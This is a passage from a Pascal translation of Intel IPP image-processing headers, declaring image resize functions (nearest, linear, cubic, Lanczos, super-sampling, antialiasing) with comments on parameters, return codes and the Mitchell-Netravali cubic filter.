Notes/References:
1. The equation shows the family of cubic filters:
((12-9B-6C)*|x|^3 + (-18+12B+6C)*|x|^2 + (6-2B) ) / 6 for |x| < 1
K(x) = (( -B-6C)*|x|^3 + ( 6B+30C)*|x|^2 + (-12B-48C)*|x| + (8B+24C)) / 6 for 1 <= |x| < 2
0 elsewhere
Some values of (B,C) correspond to known cubic splines: Catmull-Rom (B=0,C=0.5), B-Spline (B=1,C=0) and other.
Mitchell, Don P.; Netravali, Arun N. (Aug. 1988). "Reconstruction filters in computer graphics"
http://www.mentallandscape.com/Papers_siggraph88.pdf
2. Hahn filter does not supported now.
3. The implemented interpolation algorithms have the following filter sizes: Nearest Neighbor 1x1,
Linear 2x2, Cubic 4x4, 2-lobed Lanczos 4x4, 3-lobed Lanczos 6x6.
}
function ippiResizeNearestInit_8u( srcSize : IppiSize ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ): IppStatus; _ippapi
function ippiResizeNearestInit_16u( srcSize : IppiSize ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ): IppStatus; _ippapi
function ippiResizeNearestInit_16s( srcSize : IppiSize ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ): IppStatus; _ippapi
function ippiResizeNearestInit_32f( srcSize : IppiSize ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ): IppStatus; _ippapi
function ippiResizeLinearInit_8u( srcSize : IppiSize ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ): IppStatus; _ippapi
function ippiResizeLinearInit_16u( srcSize : IppiSize ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ): IppStatus; _ippapi
function ippiResizeLinearInit_16s( srcSize : IppiSize ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ): IppStatus; _ippapi
function ippiResizeLinearInit_32f( srcSize : IppiSize ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ): IppStatus; _ippapi
function ippiResizeLinearInit_64f( srcSize : IppiSize ; dstSize : IppiSize ; pSpec : IppiResizeSpec_64fPtr ): IppStatus; _ippapi
function ippiResizeCubicInit_8u( srcSize : IppiSize ; dstSize : IppiSize ; valueB : Ipp32f ; valueC : Ipp32f ; pSpec : IppiResizeSpec_32fPtr ; pInitBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeCubicInit_16u( srcSize : IppiSize ; dstSize : IppiSize ; valueB : Ipp32f ; valueC : Ipp32f ; pSpec : IppiResizeSpec_32fPtr ; pInitBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeCubicInit_16s( srcSize : IppiSize ; dstSize : IppiSize ; valueB : Ipp32f ; valueC : Ipp32f ; pSpec : IppiResizeSpec_32fPtr ; pInitBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeCubicInit_32f( srcSize : IppiSize ; dstSize : IppiSize ; valueB : Ipp32f ; valueC : Ipp32f ; pSpec : IppiResizeSpec_32fPtr ; pInitBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLanczosInit_8u( srcSize : IppiSize ; dstSize : IppiSize ; numLobes : Ipp32u ; pSpec : IppiResizeSpec_32fPtr ; pInitBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLanczosInit_16u( srcSize : IppiSize ; dstSize : IppiSize ; numLobes : Ipp32u ; pSpec : IppiResizeSpec_32fPtr ; pInitBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLanczosInit_16s( srcSize : IppiSize ; dstSize : IppiSize ; numLobes : Ipp32u ; pSpec : IppiResizeSpec_32fPtr ; pInitBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLanczosInit_32f( srcSize : IppiSize ; dstSize : IppiSize ; numLobes : Ipp32u ; pSpec : IppiResizeSpec_32fPtr ; pInitBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeSuperInit_8u( srcSize : IppiSize ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ): IppStatus; _ippapi
function ippiResizeSuperInit_16u( srcSize : IppiSize ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ): IppStatus; _ippapi
function ippiResizeSuperInit_16s( srcSize : IppiSize ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ): IppStatus; _ippapi
function ippiResizeSuperInit_32f( srcSize : IppiSize ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiResizeNearest
ippiResizeLinear
ippiResizeCubic
ippiResizeLanczos
ippiResizeSuper
Purpose: Changes an image size by different interpolation methods
Parameters:
pSrc Pointer to the source image
srcStep Distance (in bytes) between of consecutive lines in the source image
pDst Pointer to the destination image
dstStep Distance (in bytes) between of consecutive lines in the destination image
dstOffset Offset of tiled image respectively destination image origin
dstSize Size of the destination image (in pixels)
border Type of the border
borderValue Pointer to the constant value(s) if border type equals ippBorderConstant
pSpec Pointer to the Spec structure for resize filter
pBuffer Pointer to the work buffer
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsNoOperation Indicates a warning if width or height of output image is zero
ippStsBorderErr Indicates an error if border type has an illegal value
ippStsContextMatchErr Indicates an error if pointer to an invalid pSpec structure is passed
ippStsNotSupportedModeErr Indicates an error if requested mode is currently not supported
ippStsSizeErr Indicates an error if width or height of the destination image
is negative
ippStsStepErr Indicates an error if the step value is not data type multiple
ippStsOutOfRangeErr Indicates an error if the destination image offset point is outside the
destination image origin
ippStsSizeWrn Indicates a warning if the destination image size is more than
the destination image origin size
Notes:
1. Supported border types are ippBorderInMemory and ippBorderReplicate
(except Nearest Neighbor and Super Sampling methods).
2. Hahn filter does not supported now.
}
function ippiResizeNearest_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Ipp32s ; pDst : Ipp8uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeNearest_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Ipp32s ; pDst : Ipp8uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeNearest_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Ipp32s ; pDst : Ipp8uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeNearest_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Ipp32s ; pDst : Ipp16uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeNearest_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Ipp32s ; pDst : Ipp16uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeNearest_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Ipp32s ; pDst : Ipp16uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeNearest_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Ipp32s ; pDst : Ipp16sPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeNearest_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Ipp32s ; pDst : Ipp16sPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeNearest_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Ipp32s ; pDst : Ipp16sPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeNearest_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Ipp32s ; pDst : Ipp32fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeNearest_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Ipp32s ; pDst : Ipp32fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeNearest_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Ipp32s ; pDst : Ipp32fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLinear_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Ipp32s ; pDst : Ipp8uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp8uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLinear_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Ipp32s ; pDst : Ipp8uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp8uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLinear_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Ipp32s ; pDst : Ipp8uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp8uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLinear_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Ipp32s ; pDst : Ipp16uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLinear_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Ipp32s ; pDst : Ipp16uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLinear_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Ipp32s ; pDst : Ipp16uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLinear_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Ipp32s ; pDst : Ipp16sPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16sPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLinear_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Ipp32s ; pDst : Ipp16sPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16sPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLinear_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Ipp32s ; pDst : Ipp16sPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16sPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLinear_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Ipp32s ; pDst : Ipp32fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp32fPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLinear_32f_C3R( pSrc : Ipp32fPtr ; const srcStep : Ipp32s ; pDst : Ipp32fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp32fPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLinear_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Ipp32s ; pDst : Ipp32fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp32fPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLinear_64f_C1R( pSrc : Ipp64fPtr ; srcStep : Ipp32s ; pDst : Ipp64fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp64fPtr ; pSpec : IppiResizeSpec_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLinear_64f_C3R( pSrc : Ipp64fPtr ; srcStep : Ipp32s ; pDst : Ipp64fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp64fPtr ; pSpec : IppiResizeSpec_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLinear_64f_C4R( pSrc : Ipp64fPtr ; srcStep : Ipp32s ; pDst : Ipp64fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp64fPtr ; pSpec : IppiResizeSpec_64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeCubic_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Ipp32s ; pDst : Ipp8uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp8uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeCubic_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Ipp32s ; pDst : Ipp8uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp8uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeCubic_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Ipp32s ; pDst : Ipp8uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp8uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeCubic_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Ipp32s ; pDst : Ipp16uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeCubic_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Ipp32s ; pDst : Ipp16uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeCubic_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Ipp32s ; pDst : Ipp16uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeCubic_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Ipp32s ; pDst : Ipp16sPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16sPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeCubic_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Ipp32s ; pDst : Ipp16sPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16sPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeCubic_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Ipp32s ; pDst : Ipp16sPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16sPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeCubic_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Ipp32s ; pDst : Ipp32fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp32fPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeCubic_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Ipp32s ; pDst : Ipp32fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp32fPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeCubic_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Ipp32s ; pDst : Ipp32fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp32fPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLanczos_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Ipp32s ; pDst : Ipp8uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp8uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLanczos_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Ipp32s ; pDst : Ipp8uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp8uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLanczos_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Ipp32s ; pDst : Ipp8uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp8uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLanczos_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Ipp32s ; pDst : Ipp16uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLanczos_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Ipp32s ; pDst : Ipp16uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLanczos_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Ipp32s ; pDst : Ipp16uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16uPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLanczos_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Ipp32s ; pDst : Ipp16sPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16sPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLanczos_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Ipp32s ; pDst : Ipp16sPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16sPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLanczos_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Ipp32s ; pDst : Ipp16sPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp16sPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLanczos_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Ipp32s ; pDst : Ipp32fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp32fPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLanczos_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Ipp32s ; pDst : Ipp32fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp32fPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeLanczos_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Ipp32s ; pDst : Ipp32fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; border : IppiBorderType ; pBorderValue : Ipp32fPtr ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeSuper_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Ipp32s ; pDst : Ipp8uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeSuper_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Ipp32s ; pDst : Ipp8uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeSuper_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Ipp32s ; pDst : Ipp8uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeSuper_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Ipp32s ; pDst : Ipp16uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeSuper_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Ipp32s ; pDst : Ipp16uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeSuper_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Ipp32s ; pDst : Ipp16uPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeSuper_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Ipp32s ; pDst : Ipp16sPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeSuper_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Ipp32s ; pDst : Ipp16sPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeSuper_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Ipp32s ; pDst : Ipp16sPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeSuper_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Ipp32s ; pDst : Ipp32fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeSuper_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Ipp32s ; pDst : Ipp32fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeSuper_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Ipp32s ; pDst : Ipp32fPtr ; dstStep : Ipp32s ; dstOffset : IppiPoint ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiResizeLinearAntialiasingInit
Purpose: Initializes the Spec structure for the Resize transform
by different interpolation methods
Parameters:
srcSize Size of the input image (in pixels)
dstSize Size of the output image (in pixels)
valueB The first parameter (B) for specifying Cubic filters
valueC The second parameter (C) for specifying Cubic filters
numLobes The parameter for specifying Lanczos (2 or 3) or Hahn (3 or 4) filters
pInitBuf Pointer to the temporal buffer for several filter initialization
pSpec Pointer to the Spec structure for resize filter
Return Values:
ippStsNoErr Indicates no error
ippStsNullPtrErr Indicates an error if one of the specified pointers is NULL
ippStsNoOperation Indicates a warning if width or height of any image is zero
ippStsSizeErr Indicates an error in the following cases:
- if width or height of the source or destination image is negative,
- if the source image size is less than a filter size of the chosen
interpolation method (except ippiResizeSuperInit).
- if one of the specified dimensions of the source image is less than
the corresponding dimension of the destination image
(for ippiResizeSuperInit only).
ippStsNotSupportedModeErr Indicates an error if the requested mode is not supported.
Notes/References:
1. The equation shows the family of cubic filters:
((12-9B-6C)*|x|^3 + (-18+12B+6C)*|x|^2 + (6-2B) ) / 6 for |x| < 1
K(x) = (( -B-6C)*|x|^3 + ( 6B+30C)*|x|^2 + (-12B-48C)*|x| + (8B+24C)) / 6 for 1 <= |x| < 2
0 elsewhere
Some values of (B,C) correspond to known cubic splines: Catmull-Rom (B=0,C=0.5), B-Spline (B=1,C=0) and other.
Mitchell, Don P.; Netravali, Arun N. (Aug. 1988). "Reconstruction filters in computer graphics"
http://www.mentallandscape.com/Papers_siggraph88.pdf
2. Hahn filter does not supported now.
3. The implemented interpolation algorithms have the following filter sizes: Nearest Neighbor 1x1,
Linear 2x2, Cubic 4x4, 2-lobed Lanczos 4x4, 3-lobed Lanczos 6x6.
}
function ippiResizeAntialiasingLinearInit( srcSize : IppiSize ; dstSize : IppiSize ; pSpec : IppiResizeSpec_32fPtr ; pInitBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeAntialiasingCubicInit( srcSize : IppiSize ; dstSize : IppiSize ; valueB : Ipp32f ; valueC : Ipp32f ; pSpec : IppiResizeSpec_32fPtr ; pInitBuf : Ipp8uPtr ): IppStatus; _ippapi
function ippiResizeAntialiasingLanczosInit( srcSize : IppiSize ; dstSize : IppiSize ; numLobes : Ipp32u ; pSpec : IppiResizeSpec_32fPtr ; pInitBuf : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiResizeAntialiasing
Purpose: Changes an image size by different interpolation methods with antialiasing technique
Parameters:
pSrc Pointer to the source image
srcStep Distance (in bytes) between of consecutive lines in the source image
pDst Pointer to the destination image
dstStep Distance (in bytes) between of consecutive lines in the destination image
dstOffset Offset of tiled image respectively destination image origin
